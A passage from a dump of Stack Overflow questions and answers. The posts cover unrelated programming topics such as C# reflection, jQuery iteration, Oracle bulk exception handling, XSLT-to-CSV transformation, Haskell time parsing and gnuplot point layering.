&lt;rptPrntRunDat&gt;2011-12-05&lt;/rptPrntRunDat&gt; &lt;/rptHdr&gt; &lt;cb020Grp&gt; &lt;cb020KeyGrp&gt; ... &lt;/cb020KeyGrp&gt; &lt;cb020Grp1&gt; ... &lt;/cb020Grp1&gt; &lt;/cb020Grp&gt; &lt;/cb020&gt; </code></pre>
35147079	0	 <p>You have to use Reflection, please look at</p> <p><a href="http://stackoverflow.com/questions/737151/how-to-get-the-list-of-properties-of-a-class">How to get the list of properties of a class?</a></p> <p>I added a new double? property at your class.</p> <pre><code> class Class1 { public int Age { get; set; } public string Family { get; set; } public string Name { get; set; } public double? d { get; set; } } [Test] public void MyTest() { Class1 c = new Class1() { Age = 12, Family = "JR", Name = "MAX" }; foreach (var prop in c.GetType().GetProperties().Where(x =&gt; x.PropertyType == typeof(double?))) { Console.WriteLine("{0}={1}", prop.Name, prop.GetValue(c)); prop.SetValue(c, (double?)null); // set null as you wanted } } </code></pre>
20103326	0	 <pre><code>url: $obj.url, </code></pre> <p>This parameter needs to be a string. If you want a dynamic url from your obj variable do this:</p> <pre><code>url: $obj+".php", // .php or whatever the file type is of the page you're requesting </code></pre>
15785466	0	 <p>You do not need jQuery for this. In cases where jQuery really isn't needed, I don't really suggest it. At that point it's just kind of pointless. Use regular JS where possible, use jQuery where needed.</p> <pre><code>for (var i = 0; i &lt; pieData2.length; i++) { alert(pieData2[i].label + ' : ' + pieData2[i].value); } </code></pre> <p>If you really want to use jQuery, since <code>$.each</code> can iterate over arrays AND objects, you can just use it to iterate over the array and alert each.</p> <p>This will iterate over each object in the array and alert each key, value pair...</p> <pre><code>$.each(pieData2, function (key, obj) { alert(obj.label + ' : ' + obj.value); }); </code></pre> <p>If you need to iterate over the array and over each object (if you do not know the length), then you can do:</p> <pre><code>for (var i = 0; i &lt; pieData2.length; i++) { for (var prop in pieData2[i]) { if (pieData2[i].hasOwnProperty(prop)) { alert(prop + ' : ' + pieData2[i][prop]); } } } </code></pre> <p>or</p> <pre><code>$.each(pieData2, function(obj) { $.each(pieData2[obj], function(key, value) { alert(key + ' : ' + value); }); }); </code></pre>
515828	0	 <p>You need to wrap the textarea in an ItemTemplate tag for it to work:</p> <pre><code>&lt;asp:Repeater ID="NotesRepeater" runat="server" DataSourceID="SheetParams"&gt; &lt;ItemTemplate&gt; &lt;textarea style="clear:both; font-size:large" name="notes"&gt; &lt;%# Eval("Notes") %&gt; &lt;/textarea&gt; &lt;ItemTemplate&gt; &lt;/asp:Repeater&gt; </code></pre>
24919141	0	 <p>Move the regex matching into a method.</p> <p>You could associate the regex with a key in a hash, too, making this easier, roughly:</p> <p>EMAILS = { "Berkeley": /\A[\w+-.]+@berkeley.edu\z/i, "Washington": /whatever/ }</p> <p>Iterate over the hash to get the value and regex:</p> <pre><code>EMAILS.each do |school, regex| # If it matches, return the `school` value end </code></pre> <p>Use the <em>same</em> method for your email validation by validating <code>:email</code> against the method instead of a simple regex as detailed in the <a href="http://guides.rubyonrails.org/active_record_validations.html#performing-custom-validations" rel="nofollow">Custom Validation section of the Active Record Validations Guide</a>. You may need to tweak the return value etc. to get the function to work for both things, or write a thin wrapper for the validation around the lookup.</p> <p>Consider a callback to actually set the value, e.g., <code>:after_validation</code> or <code>:before_save</code>.</p>
17903742	0	 <p>Here's a simple function that I use.</p> <pre><code>var pad=function(num,field){ var n = '' + num; var w = n.length; var l = field.length; var pad = w &lt; l ? l-w : 0; return field.substr(0,pad) + n; }; </code></pre> <p>For example:</p> <pre><code>pad (20,' '); // 20 pad (321,' '); // 321 pad (12345,' '); //12345 pad ( 15,'00000'); //00015 pad ( 999,'*****'); //**999 pad ('cat','_____'); //__cat </code></pre>
11270536	0	Debug sales order workflow in OpenERP 6.1 web client <p>I'm testing out the OpenERP 6.1 web client, and I sometimes have a sales order or other kind of document that gets stuck for some reason. I want to be able to look at the workflow diagram for this document to see exactly where it is stuck.</p> <p>One example that happened to me was a sales order that had shipped and the invoice was paid, but the sales order still wasn't done. After some digging, I found that one of the procurements was still running.</p> <p>I can still print the workflow from the GTK client, but isn't there some way to print it from the web client?</p> <p>I found a couple of ways to get at the screen that lets me edit the workflow, but that's not what I'm looking for. I want to print the diagram that shows the current state of the workflow instance for the open document.</p>
20353639	0	 <p>The tool "uchardet" does this well using character frequency distribution models for each charset. Larger files and more "typical" files have more confidence (obviously).</p> <p>On ubuntu, you just <code>apt-get install uchardet</code>. </p> <p>On other systems, get the source, usage &amp; docs here: <a href="https://github.com/BYVoid/uchardet" rel="nofollow">https://github.com/BYVoid/uchardet</a></p>
36029791	0	 <p>Try </p> <pre><code> Dim data As Range Set data = Intersect(Sheet2.Columns("O"), Sheet2.UsedRange) data.NumberFormat = "mm/dd/yyyy" </code></pre>
15988549	0	 <p>You're trying to ceil an array, you can do it on a numeric value.</p> <p>Try editing your query like this:</p> <pre><code>$query = "SELECT COUNT(id) AS tot FROM actiongame"; </code></pre> <p>And then your PHP code like this:</p> <pre><code>$total_records = $row['tot']; </code></pre>
2314412	0	 <p>Instead of :</p> <pre><code>if len(line) &lt;= 1: # only '\n' in «empty» lines break values = line.split() </code></pre> <p>try this:</p> <pre><code>values = line.split() if not values: # line is wholly whitespace, end of segment break </code></pre>
3323900	0	Passing double types to ceil results in different values for different optimization levels in GCC <p>Below, the result1 and result2 variable values are reporting different values depending upon whether or not you compile the code with -g or with -O on GCC 4.2.1 and on GCC 3.2.0 (and I have not tried more recent GCC versions):</p> <pre><code>double double_identity(double in_double) { return in_double; } ... double result1 = ceil(log(32.0) / log(2.0)); std::cout &lt;&lt; __FILE__ &lt;&lt; ":" &lt;&lt; __LINE__ &lt;&lt; ":" &lt;&lt; "result1==" &lt;&lt; result1 &lt;&lt; std::endl; double result2 = ceil(double_identity(log(32.0) / log(2.0))); std::cout &lt;&lt; __FILE__ &lt;&lt; ":" &lt;&lt; __LINE__ &lt;&lt; ":" &lt;&lt; "result2==" &lt;&lt; result2 &lt;&lt; std::endl; </code></pre> <p>result1 and result2 == 5 only when compiling using -g, but if instead I compile with -O I get result1 == 6 and result2 == 5.</p> <p>This seems like a difference in how optimization is being done by the compiler, or something to do with IEEE floating point representation internally, but I am curious as to exactly how this difference occurs. I'm hoping to avoid looking at the assembler if at all possible.</p> <p>The above was compiled in C++, but I presume the same would hold if it was converted to ANSI-C code using printfs.</p> <p>The above discrepancy occurs on 32-bit Linux, but not on 64-bit Linux.</p> <p>Thanks bg</p>
10967882	0	 <p>When communicating with TCP or UDP, the socket is distinguished by a 4-tuple:</p> <ul> <li>local address</li> <li>local port</li> <li>remote address</li> <li>remote port</li> </ul> <p>If you leave the local assignment alone, and you are communicating with a connected protocol, the <code>connect</code> call will find an available local port for you. If you are restricted to a particular range of ports, then you'll need to do local address and port binding. However, in that case, since each process is only handling a single connection, I would just assign each process a unique port when it is started, rather than having it try to find an available one.</p> <p>That is, assuming there is a single process responsible for starting all the other processes, that single process would decide which port should be used by the process it is about the start. This is simpler because the decision is made by a single entity, so it can use a simple algorithm, like:</p> <pre><code>for (unsigned short p = minPort; p &lt; maxPort; ++p) { child_pid = startWorker(p); child_pid_map[child_pid] = p; } </code></pre> <p>If the child dies, the starter process can consult the <code>child_pid_map</code> to reuse that port immediately.</p> <p>If using an external agent to assign ports is not possible, the simplest technique is to just attempt a <code>bind</code> call to a random port in the range. If it fails with <code>EADDRINUSE</code>, then incrementally try the next port number in the sequence (wrapping if necessary) until success is achieved, or you have tried all the ports.</p>
22632862	0	 <p>There are events like GotFocus and LostFocus for controls.</p> <p>If you subscribe to these events they automatically get called when your input receives or looses focus</p> <p>you can use those events for your purpose.</p> <p>XAML Declaration</p> <pre><code>&lt;TextBox Name="myTextbox" GotFocus="myTextbox_GotFocus" /&gt; </code></pre> <p>and inside the cs</p> <pre><code> private void myTextbox_GotFocus(object sender, RoutedEventArgs e) { } private void ContentPanel_LostFocus(object sender, RoutedEventArgs e) { } </code></pre>
36379539	0	Rails 4 devise_invitable "The invitation token provided is not valid!" error <p>I have been following Ryan Boland's Rails multitenancy tutorial, but have run into a snag with devise_invitable. </p> <p>I create a new account and user/account owner on a chosen subdomain (mysubdomain.lvh.me:3000), from which I can send a user invitation just fine. I open the invitation link in an incognito Chrome session to ensure I am not logged in or have any current session. Upon clicking on the invitation link, I am redirected to the sign in page (mysubdomain.lvh.me:3000/users/sign_in) and see a flash notice: "The invitation token provided is not valid!"</p> <p>Related to this one:</p> <p><a href="http://stackoverflow.com/questions/25703460/rails-4-devise-invitable-invitation-token-invalid/36379472?noredirect=1#comment60376301_36379472">Rails 4 devise_invitable invitation token invalid</a></p>
22248851	0	 <h1>Bulk Binds (BULK COLLECT &amp; FORALL) and Record Processing in Oracle</h1> <p>Although this topic involves a much larger discussion of how to optimize database DML operations for large record sets, this approach is applicable for variable magnitudes of record volumes and even has a nice feature set, which includes a DML option called <strong>SAVE EXCEPTIONS</strong>, which enables a database operation to SKIP and continue past individual DML transactions that have encountered EXCEPTIONS.</p> <p>I have adapted a script and added some additional explanatory notation to show how this works. If you would like some additional reading from the source I used, see the following link for a discussion on <a href="http://www.oracle-base.com/articles/9i/bulk-binds-and-record-processing-9i.php#save_exceptions" rel="nofollow noreferrer">Oracle DML Bulk Binds and Record Processing</a>.</p> <h2>The Sample Table: exception_test</h2> <p>Use the DDL Below to create the test table used to store the data from our procedure's Bulk Binding DML commands:</p> <pre><code>CREATE TABLE "EXCEPTION_TEST" ( "ID" NUMBER(15,0) NOT NULL ENABLE, CONSTRAINT "EXCEPTION_TEST_PK" PRIMARY KEY ("ID") ENABLE ) / </code></pre> <p>The Primary Key is the single column. It has an assigned NOT NULL constraint which will be the property used later for generating several exceptions.</p> <h2>Stored Procedure: proc_exam_save_exceptions</h2> <pre><code>create or replace PROCEDURE proc_exam_save_exceptions IS -- Declare and Instantiate Data Types TYPE t_tab IS TABLE OF exception_test%ROWTYPE; l_tab t_tab := t_tab(); l_error_count NUMBER; ex_dml_errors EXCEPTION; PRAGMA EXCEPTION_INIT(ex_dml_errors, -24381); BEGIN -- Fill the collection. FOR i IN 1 .. 2000 LOOP l_tab.extend; l_tab(l_tab.last).id := i; END LOOP; -- Cause a failure or two. l_tab(50).id := NULL; l_tab(51).id := NULL; l_tab(1250).id := NULL; l_tab(1252).id := NULL; EXECUTE IMMEDIATE 'TRUNCATE TABLE exception_test'; -- Perform a bulk operation. BEGIN FORALL i IN l_tab.first .. l_tab.last SAVE EXCEPTIONS INSERT INTO exception_test VALUES l_tab(i); EXCEPTION WHEN ex_dml_errors THEN l_error_count := SQL%BULK_EXCEPTIONS.count; DBMS_OUTPUT.put_line('Number of failures: ' || l_error_count); FOR i IN 1 .. l_error_count LOOP DBMS_OUTPUT.put_line('Error: ' || i || ' Array Index: ' || SQL%BULK_EXCEPTIONS(i).error_index || ' Message: ' || SQLERRM(-SQL%BULK_EXCEPTIONS(i).ERROR_CODE)); END LOOP; END; END; </code></pre> <p>​</p> <p>The first loop instantiates a collection type variable (nested table) and initializes it with a non-null value. Note the block of this procedure:</p> <pre><code>-- Cause a failure or two. l_tab(50).id := NULL; l_tab(51).id := NULL; l_tab(1250).id := NULL; l_tab(1252).id := NULL; </code></pre> <p>Which changes index positions 50, 51, 1250 and 1252 with a NULL value to force a DML error against the table constraint of the ID column on table <em>exception_test</em>. Compiling this procedure and executing it from the command line reveals in the DBMS OUT display a feedback message identifying the DML operations that failed by an internal count of each loop iteration...</p> <h2>Testing the Stored Procedure</h2> <p>Call the procedure to iterate through the defined DML loops and verify the BULK EXCEPTION HANDLING feature at work.</p> <pre><code>-- Command to Call Procedure begin proc_exam_save_exceptions(); end; </code></pre> <p>The following is the output of this procedure's execution:</p> <pre><code>Number of failures: 4 Error: 1 Array Index: 50 Message: ORA-01400: cannot insert NULL into () Error: 2 Array Index: 51 Message: ORA-01400: cannot insert NULL into () Error: 3 Array Index: 1250 Message: ORA-01400: cannot insert NULL into () Error: 4 Array Index: 1252 Message: ORA-01400: cannot insert NULL into () Statement processed. 0.05 seconds </code></pre> <p>An additional query of the target table shows that DML errors introduced in the middle of the loop iterations did not interrupt the completion of the other loops and their assigned DML operation.</p> <p><img src="https://i.stack.imgur.com/Vy0e4.jpg" alt="Sample Verification of Skipped Exception Values"></p> <h2>Additional Notes and Discussion</h2> <p>Here are some parting notes to keep in mind when using the <strong>SAVE EXCEPTIONS</strong> Bulk DML option:</p> <ol> <li><p>The meta information in the <em>error_index</em> value of the resulting collection: <strong>SQL%BULK_EXCEPTIONS</strong> is based on the count of loop iterations from the initial cursor query of the data.</p> <p>i.e., You will still need to correlate in some way that the error in loop iteration #51 (error_index = 51) lines up with whatever identifying key exists in your actual DML target tables. I recommend at least using ORDER BY clauses carefully and consistently in your DML cursors so that your loop iterations are consistently matched with the same index/key values.</p></li> <li><p>There are some additional extensions to the functionality of the SAVE EXCEPTIONS and BULK DML handling alternatives that may prove to serve additional utility above traditional approaches to large volume DML operations. Among them includes: error threshold limitations (i.e., quit when a pre-defined number of DML exceptions are handled) and Bulk Processing loop size definitions. </p></li> </ol>
27909576	0	How to model mongodb collections for Cassandra database (migration)? <p>I am new to Cassandra and trying migrate my App from MongoDB to Cassandra</p> <p>I have the following collections in MongoDB</p> <pre><code>PhotoAlbums [ {id: oid1, title:t1, auth: author1, tags: ['bob', 'fun'], photos: [pid1, pid2], views:200 } {id: oid2, title:t2, auth: author2, tags: ['job', 'fun'], photos: [pid3, pid4], views: 300 } {id: oid3, title:t3, auth: author3, tags: ['rob', 'fun'], photos: [pid2, pid4], views: 400 } .... ] Photos [ {id: pid1, cap:t1, auth: author1, path:p1, tags: ['bob','fun'], comments:40, views:2000, likes:0 } {id: pid2, cap:t2, auth: author2, path:p2, tags: ['job','fun'], comments:50, views:50, likes:1, liker:[bob] } {id: pid3, cap:t3, auth: author3, path:p3, tags: ['rob','fun'], comments:60, views: 6000, likes: 0 } ... ] Comments [ {id: oid1, photo_id: pid1, commenter: bob, text: photo is cool, likes: 1, likers: [john], replies: [{rep1}, {rep2}]} {id: oid2, photo_id: pid1, commenter: bob, text: photo is nice, likes: 1, likers: [john], replies: [{rep1}, {rep2}]} {id: oid3, photo_id: pid2, commenter: bob, text: photo is ok, likes: 2, likers: [john, bob], replies: [{rep1}]} ] </code></pre> <p><strong>Queries:</strong></p> <ul> <li><p>Query 1: Show a list of popular albums (based on number of likes)</p></li> <li><p>Query 2: Show a list of most discussed albums (based on number of comments) </p></li> <li><p>Query 3: Show a list of all albums of a given author on user's page </p></li> <li><p>Query 4: Show the album with all photos and all comments (pull album details, show photo thumbnails of all photos in the album, show all comments of selected photo </p></li> <li><p>Query 5: Show a list of related albums based on the tags of current album</p></li> </ul> <p><strong>Given the above schema and requirements, how should I model this in Cassandra?</strong></p>
6884628	0	C with assembly tutorials <p>Please, advice me manuals or tutorials by joint usage C language with assembly in Unix systems.</p> <p>Thank you.</p>
20810732	0	 <p>According to <a href="http://flask.pocoo.org/docs/api/#flask.url_for" rel="nofollow"><code>url_for</code> documentation</a>:</p> <blockquote> <p>If the value of a query argument is None, the whole pair is skipped.</p> </blockquote> <p>Make sure that <code>url_title</code> is not <code>None</code>.</p> <p>Or specify default value for <code>url_title</code> in the <code>artitle_page</code> function.</p>
234953	0	 <p>I think it depends on how if/how you plan to expand upon your data model. For instance, what if you decided that you not only want to have User Events, but also, Account Events, or Login Events, and User, Accounts, and Logins are all different types of entities, but they share some Events. In that case, you would might want a normalized database model:</p> <ul> <li>Users (Id int, Name varchar)</li> <li>Accounts (Id int, Name varchar)</li> <li>Logins (Id int, Name varchar)</li> <li>Events (Id int, Name varchar)</li> <li>UserEvents (UserId int, EventId int)</li> <li>AccountEvents (AccountId int, EventId int)</li> <li>LoginEvents (LoginId int, EventId int)</li> </ul>
38758259	0	 <p>You can name the function used at <code>.then()</code>, recursively call same function at <code>.then()</code> of <code>doSomethingAsync()</code> call until <code>state == "finish"</code></p> <pre><code>// name function used at `.then()` somePromise.then(function re(data) { if(state == "finish") { return data; }; // DoSomething async then repeat these codes // call `re` at `.then()` chained to `doSomethingAsync()` doSomethinAsync(data).then(re); }).then((data) =&gt; console.log("finish", data)); </code></pre> <p>See also <a href="http://stackoverflow.com/questions/38034574/multiple-sequential-fetch-promise/">multiple, sequential fetch() Promise</a></p>
39049541	0	 <p>Additionally, consider <a href="https://www.w3.org/Style/XSL/" rel="nofollow">XSLT</a>, the special purpose transformation language that can directly transform XML to CSV even parsing from other XML files using its <code>document()</code> function. Python's <a href="http://lxml.de/" rel="nofollow">lxml</a> module can process XSLT 1.0 scripts. Be sure all three xmls reside in same directory.</p> <p><strong>XSLT</strong> Script <em>(save as .xsl file --a special .xml file-- to be called below in Python)</em></p> <pre><code>&lt;xsl:transform xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="2.0"&gt; &lt;xsl:output version="1.0" encoding="UTF-8" method="text" indent="yes" omit-xml-declaration="yes"/&gt; &lt;xsl:strip-space elements="*"/&gt; &lt;xsl:template match="/projects"&gt; &lt;xsl:copy&gt; &lt;xsl:text&gt;Pid,Clientid,ClientName,ClientActive,ProjectName,ProjectActive,Billable,BillBy,HourlyRate,&lt;/xsl:text&gt; &lt;xsl:text&gt;Budget,OverbudgetNotificationPercentage,CreatedAt,UpdatedAt,StartsOn,EndsOn,Estimate,EstimateBy,&lt;/xsl:text&gt; &lt;xsl:text&gt;Notes,CostBudget,TeammemberName1,CostRate1,TeammemberName2,CostRate2,TeammemberName3,CostRate3,&lt;/xsl:text&gt; &lt;xsl:text&gt;TaskId1,TotalHours1,TaskId2,TotalHours2&amp;#xa;&lt;/xsl:text&gt; &lt;xsl:apply-templates select="project"/&gt; &lt;/xsl:copy&gt; &lt;/xsl:template&gt; &lt;xsl:template match="project"&gt; &lt;xsl:variable name="clientid" select="client-id"/&gt; &lt;xsl:value-of select="concat(id, ',')"/&gt; &lt;xsl:variable name="delimiter"&gt;&lt;xsl:text&gt;&amp;quot;,&amp;quot;&lt;/xsl:text&gt;&lt;/xsl:variable&gt; &lt;xsl:for-each select="document('clients.xml')/clients/client[id=$clientid]/* [local-name()='id' or local-name()='name' or local-name()='active']"&gt; &lt;xsl:value-of select="." /&gt; &lt;xsl:if test="position() != last()"&gt; &lt;xsl:text&gt;,&lt;/xsl:text&gt; &lt;/xsl:if&gt; &lt;/xsl:for-each&gt; &lt;xsl:value-of select="concat(',',name,',',active,',',billable,',',bill-by,',',hourly-rate,',',budget,',', over-budget-notification-percentage,',',created-at,',',updated-at,',',starts-on,',',ends-on,',', estimate,',',estimate-by,',',notes,',',cost-budget,',')"/&gt; &lt;xsl:for-each select="document('teammembers.xml')/root/team_members/item[cid=$clientid]/* [local-name()='full_name' or local-name()='cost_rate']"&gt; &lt;xsl:if test="position() &amp;lt; 5"&gt; &lt;xsl:value-of select="." /&gt; &lt;xsl:text&gt;,&lt;/xsl:text&gt; &lt;/xsl:if&gt; &lt;/xsl:for-each&gt; &lt;xsl:for-each select="document('ClientItems_teammembers.xml')/root/tasks/item[cid=$clientid]/* [local-name()='task_id' or local-name()='total_hours']"&gt; &lt;xsl:if test="position() &amp;lt; 5"&gt; &lt;xsl:value-of select="." /&gt; &lt;xsl:if test="position() != last()"&gt; &lt;xsl:text&gt;,&lt;/xsl:text&gt; &lt;/xsl:if&gt; &lt;/xsl:if&gt; &lt;/xsl:for-each&gt; &lt;xsl:text&gt;&amp;#xa;&lt;/xsl:text&gt; &lt;/xsl:template&gt; &lt;/xsl:transform&gt; </code></pre> <p><strong>Python</strong> script <em>(transforming projects.xml and reading in other two in XSLT)</em></p> <pre><code>import lxml.etree as ET def transformXML(): dom = ET.parse('projects.xml') xslt = ET.parse('XSLTscript.xsl') transform = ET.XSLT(xslt) newdom = transform(dom) with open('Output.csv'),'w') as f: f.write(str(newdom)) if __name__ == "__main__": transformXML() </code></pre> <p><strong>Output</strong></p> <pre><code>Pid,Clientid,ClientName,ClientActive,ProjectName,ProjectActive,Billable, BillBy,HourlyRate,Budget,OverbudgetNotificationPercentage,CreatedAt, UpdatedAt,StartsOn,EndsOn,Estimate,EstimateBy,Notes,CostBudget,TeammemberName 1,CostRate1,TeammemberName2,CostRate2,TeammemberName3,CostRate3, TaskId1,TotalHours1,TaskId2,TotalHours2 11493770,4708336,AFB,true,Services - Consulting - AH,true,true,Project, 421.28,16.0,80.0,2016-08-16T03:22:51Z, 2016-08-16T03:22:51Z,,,16.0,project,Random notes,,BobR,76.0,BobR,76.0,BobR,76.0,6357137,0.0,6357138,0.0, </code></pre>
3543373	0	 <p>The Base.cs file looks like this.</p> <pre><code>using System; using System.Collections.Generic; using System.Linq; using System.Text; using Agatha.Common; public abstract class BaseRequest :Request { public string UserName { get; set; } public string UserDomainName { get; set; } public string ClientLanguageCode { get; set; } public DateTime ClientCreated { get; set; } public DateTime ClientSent { get; set; } public DateTime ServerReceived { get; set; } public DateTime ServerProcessed { get; set; } public void BeforeSend(IUserContext context) { ClientSent = DateTime.UtcNow; UserName = context.UserName; UserDomainName = context.UserDomainName; ClientLanguageCode = context.LanguageCode; } } public abstract class BaseResponse : Response { public DateTime ServerCreated { get; set; } public DateTime ServerProcessed { get; set; } public string[] ValidationErrors { get; set; } public bool IsValid { get { return Exception == null &amp; !ValidationErrors.Any(); } } } </code></pre>
22814545	0	Adding time to curdate mysql <p>I have two columns, one is a datetime, and another is a time. I need to add to the time column the CURDATE(), and compare with the datetime column.</p> <pre><code>SELECT b.rese_data, a.period_ini, a.period_end FROM esp_time a, rese b WHERE a.week_day = WEEKDAY(NOW()) AND a.period_ini &lt;= NOW() AND a.period_end &gt;= NOW() AND b.rese_data &gt;= a.periodo_ini AND b.rese_data &lt;= a.periodo_fim </code></pre> <p>First i select the two period(time) which can be like :</p> <pre><code>period_ini = "12:00:00" pediod_end = "17:00:00" </code></pre> <p>and then compare with the rese_data(datetime)</p>
19306013	0	 <p>The garbage-collector does not identify and examine garbage, except perhaps when processing the Large Object Heap. Instead, its behavior is like a that of a bowling-alley pinsetter removing deadwood between throws: the pinsetter grabs all the pins that are still standing, lifts them off the surface of the lane, and then runs the sweeper bar across the lane without regard for how many pins are on that surface. Sweeping out memory wholesale is much faster than identifying individual objects to be deleted. If 1% of objects have finalizers (the real number's probably even less), then it would be necessary to examine 100 object headers to find each finalizable object. Having a separate list of objects which have finalizers makes it unnecessary for the GC to even look at any garbage objects that don't.</p>
5210420	0	 <p>make history and queue tables ? edits go to queue table and if admin aproves queue->real->history...</p>
26357528	0	 <pre><code>window.attachEvent("onmouseout", popUp); </code></pre> <p>you lost 'on'</p>
26479504	0	How to parse milliseconds using Data.Time in Haskell <p>I have a formatted time strings from a log file of the form "08:14:59,012" and I would like to parse them as UTCTime (to be able to make some time difference and comparison operations).</p> <p>I'm unable to find a way to parse the milliseconds. Here's what I have so far</p> <pre><code>import System.Locale (defaultTimeLocale) import Data.Time (UTCTime) import Data.Time.Format (readTime) readHMS :: String -&gt; UTCTime readHMS = readTime defaultTimeLocale "%H:%M:%S" -- ^^ How to parse milis? ""%H:%M:%S,%Q" doesn't work test = readHMS "08:14:59,012" </code></pre> <p>Please suggest a way to parse milliseconds so that the test above contains them.</p>
13404622	0	 <p>Just pass in the function you want to be unique. Like this:</p> <pre><code>function reusableFunc(fn) { //reused code block here fn(); //reused code block here } var myResuableFunc1 = function (args) { reusableFunc(function () { //do your business here. }); }; var myResuableFunc2 = function (args) { reusableFunc(function () { //do your business here. }); }; //Or another way function myResuableFunc3(args) { reusableFunc(function () { //do your business here }); } </code></pre> <p>Then, you can create as many functions using the shared code as you want and, through the power of closures, pass these newly created functions around any way that you like.</p>
20240426	0	 <p>seems to be linked with native library provided by Apple.</p> <p>I've fixed this problem by reinstall ruby.</p> <pre><code>rvm reinstall 2.0.0-p247 --disable-binary --autolibs=3 </code></pre>
15235134	0	 <p>You can't group inline except with an aggregate (min, max, sum, count) etc. Otherwise you are going to get the first result something is grouped on and have inaccuracies. </p> <p>Can you just collapse the values of the grouping instead? </p> <p>In SSRS generally with reports you have a 'details' grouping whether it is a matrix or a table report. You mentioned 'columns' so it sounds like you have header's of A, B, and C and they want to see a totals. You can generally add a grouping but then have it collapse or expand on demand. That way you present an end user with the data but they have the option of expanding it to see more if they want.</p> <p>Since you did not specify if you have a matrix I will assume you have one. When you have multiple categories you can hit the grouping of a row or column and if you are having a matrix it is probably using a [SUM(field)]. The grouping of columns are showing all of them, however you can specify they are collapsed or expanded at runtime. Right Click the grouing and you get 'Group Properties'. Select the 'Visibility' pane on the left. Choose 'Hide' radio button and the default for your report will 'collapse' the values to be an aggregate instead of the expanded details of each column. If you want an option to have the user expand or collapse select the checkbox 'Display can be toggled by this report item:'. Choose a textbox or other object outside the collected scope and a user can be presented with the option to collapse or expand on default.</p>
15309943	0	 <p>It's not safe to do it your way, since there may also be \r or \n in a SQL statement (e.g. a long TEXT with many lines).</p> <p>If you're sure there aren't case like that, I'd suggest you to use <a href="http://www.php.net/trim" rel="nofollow">trim()</a> instead of <a href="http://www.php.net/str_replace" rel="nofollow">str_replace()</a>. It'll remove all spaces and EOL at the end of each lines.</p> <pre><code>&lt;?php $tmp = trim($line); ?&gt; </code></pre> <p>You may also specify to ONLY REMOVE EOL (both "\r\n" and "\n") like this:</p> <pre><code>&lt;?php $tmp = trim($line, "\r\n"); ?&gt; </code></pre>
411660	0	Enterprise Library Unity vs Other IoC Containers <p>What's pros and cons of using Enterprise Library Unity vs other IoC containers (Windsor, Spring.Net, Autofac ..)?</p>
5527895	0	 <p>I'll explain my short story with R and big data set.<br> I had a connector from R to RDBMS, </p> <ul> <li>where I stored 80mln compounds.</li> </ul> <p>I've build a queries which gathered some subset of this data.<br> Then manipulate on this subset.<br> R was simply choking with more than <strong>200k</strong> rows in memory on my PC. </p> <ul> <li>core duo</li> <li>4 GB ram</li> </ul> <p>So working on some appropriate subset for machine is good approach.</p>
35671543	0	 <p>Try using <code>$.when.apply()</code> , a single <code>.done()</code></p> <pre><code>$.when.apply($, [request, request2]) .done(function(output, output2) { // do stuff with responses from `request`, `request2` if (output[0].result === "success" &amp;&amp; output2[0].result === "success") { var single_blog = output.data[0].single_blog; var blog_comment = output2.data[0].blog_comment; $(".blog").empty().append(single_blog); console.log(blog_comment); } }) .fail(function() { console.log("error"); }) </code></pre>
27191941	0	regular expression for all characters not in this range AND another character <p>I need to strip all characters that are not part of the ASCII standard EXCEPT FROM one other character.</p> <p>In order to find all the non-ASCII character I use this regex:</p> <pre><code>/[^\x01-\x7F]/ </code></pre> <p>In order to exclude the character \x92 as well, how must I rewrite the regex?</p> <p>Thanks.</p>
24633248	0	 <p>The Firebug Working Group is working on fixing this problem in <a href="https://code.google.com/p/fbug/issues/detail?id=7301" rel="nofollow">issue 7301</a>. The issue is currently missing a reproducible test case. So any tips that help to fix this problem or a simple test case should be posted there.</p> <p>You and nmaier already named the workarounds known so far, which are Firebug menu > <em>Options</em> > <em>Reset All Firebug Options</em> or deleting the breakpoints.json file manually from the profile folder followed by a browser restart.</p>
25817181	0	Points behind lines in gnuplot <p>I was trying to make a graph of the two minimums of a function, however I ran into some trouble<br> <img src="https://i.stack.imgur.com/upC4o.png" alt="a plot"></p> <pre><code>set terminal pngcairo set output "plot.png" f(x) = x**4-25*x**2+20*x set xrange [-6:6] set yrange [-300:600] set label 1 "" at -3.7207,f(-3.7207) point pt 7 lt 1 set label 2 "" at 3.3154,f(3.3154) point pt 7 lt 2 plot f(x) title "x^4+25x^2+20x" </code></pre> <p>As you can see on the green point, it's behind the curve, I would like to make it so the green point is in front.</p> <p>I found a workaround by using multiplot to plot the points after the curve, but it seems absurd to me that you have to use this workaround.</p> <p><img src="https://i.stack.imgur.com/CNS83.png" alt="another plot"></p> <pre><code>set terminal pngcairo set output "plot1.png" f(x) = x**4-25*x**2+20*x set multiplot set xrange [-6:6] set yrange [-300:600] plot f(x) title "x^4+25x^2+20x" set label 1 "" at -3.7207,f(-3.7207) point pt 7 lt 1 set label 2 "" at 3.3154,f(3.3154) point pt 7 lt 2 plot NaN notitle </code></pre>
8987382	0	 <blockquote> <p>should I create an unit test for a string formatting that's supossed to be user-input? Or is it just wasting my time while I just can check it in the actual code?</p> </blockquote> <p>Not sure I understand what you mean, but the tests you write in TDD are supposed to test your production code. They aren't tests that check user input.</p> <p>To put it another way, there can be TDD unit tests that test the user input validation <em>code</em>, but there can't be TDD unit tests that validate the user input itself.</p>
18051732	0	 <p>Try</p> <pre><code>&lt;li class="nav-item" data-location="content.htm"&gt;About Us&lt;/li&gt; &lt;li class="nav-item" data-location="actsAndRules.htm"&gt;Rules&lt;/li&gt; </code></pre> <p>Then </p> <pre><code>$(function(){ $('.nav-item').click(function(){ if(!$elesToHide.is(":visible")){ $elesToHide.slideDown(); } $c.load($this.data('location') ) ; }) }) </code></pre>
1830160	0	 <p>The following How To from the Xamarin.iOS guide site has a few pointers to where to store your files:</p> <p><a href="http://docs.xamarin.com/guides/ios/application_fundamentals/working_with_the_file_system/" rel="nofollow noreferrer">http://docs.xamarin.com/guides/ios/application_fundamentals/working_with_the_file_system/</a></p>
8904583	0	 <p>I imagine the reason it's not working is because the context in which it'll look for your function will be the top one, i.e. the window.</p> <p>What you'll need to do is rename the function <code>window.subscribe_callback = (data)-&gt;</code> etc instead.</p>
